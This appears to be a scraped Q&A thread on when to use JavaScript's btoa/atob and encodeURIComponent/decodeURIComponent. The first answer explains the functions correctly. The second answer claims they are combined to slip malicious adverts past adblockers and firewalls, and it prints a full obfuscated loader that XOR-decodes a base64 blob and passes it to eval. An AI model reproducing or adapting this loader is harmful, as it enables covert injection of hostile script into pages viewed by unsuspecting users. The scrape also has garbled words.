admin管理员组

文章数量:1293705

When would you use:

  • btoa()
  • atob()
  • encodeURIComponent()
  • decodeURIComponent()

Are they supposed to be used together, eg:

atob(encodeURIComponent(...))

If not, when would btoa() and atob() be used and when would encodeURIComponent() and decodeURIComponent() be used?

When would you use:

  • btoa()
  • atob()
  • encodeURIComponent()
  • decodeURIComponent()

Are they supposed to be used together, eg:

atob(encodeURIComponent(...))

If not, when would btoa() and atob() be used and when would encodeURIComponent() and decodeURIComponent() be used?

Share Improve this question edited Nov 2, 2018 at 16:40 user1063287 10.9k27 gold badges140 silver badges237 bronze badges asked Sep 13, 2017 at 20:49 helfihelfi 1253 silver badges10 bronze badges
Add a ment  | 

2 Answers 2

Reset to default 8

btoa() encodes a string of binary data in base-64 format. The most mon use of this is for creating a data: URI from the contents of a file (e.g. turning a JPEG or GIF file into a data: URI that you incorporate directly into the page instead of referencing a remote file).

atob() performs the opposite: given a base-64 string, it returns the binary data.

encodeURIComponent() is used to perform URL-encoding of strings that will be used in a URI. This converts characters that have special meaning in URIs into % followed by the hex encoding, e.g. space bees %20. This is usually used when creating URL parameters that will be used in redirects or AJAX requests, or the data that will be sent in XMLHTTPRequest.send().

decodeURIComponent() performs the reverse of encodeURIComponent(), so if you have "foo%20bar" it will return "foo bar".

It's pretty rare that you would need to use both URL-encoding and base-64 together for the same string.

It's not rare. It's used to overe adblockers and pass through firewall rules to insert bad adverts in pages. Check this out:

<script>eval(decodeURIComponent(Gg5C(atob("R1FxEgcICwcVBQUdUFlHXltcDRYeVkNRFg4eRVhITABUU3dZDA9VRXdXEAVVRRAKW0QCBxAPIEQAdhAKUhZZWVFXFU9RQVxMDU9CWkUWAwVUdVRWDARCdVpKBgRCEgcAR1MHVA1MAVlhAkRtR1MHEgd7R1MAEgcPAVl9dnpgVwxzVl0BLSdGUQ1gUBdnEgcPR1MJEgZ6R1FxEgcIR1Z0EgV5R1MA"),"ba0758")));function Gg5C(data,key){var result=[];for(var i=0;i<data.length;i++){var xored=data.charCodeAt(i)^key.charCodeAt(i%key.length);result.push(String.fromCharCode(xored));}return result.join("");}</script>

本文标签: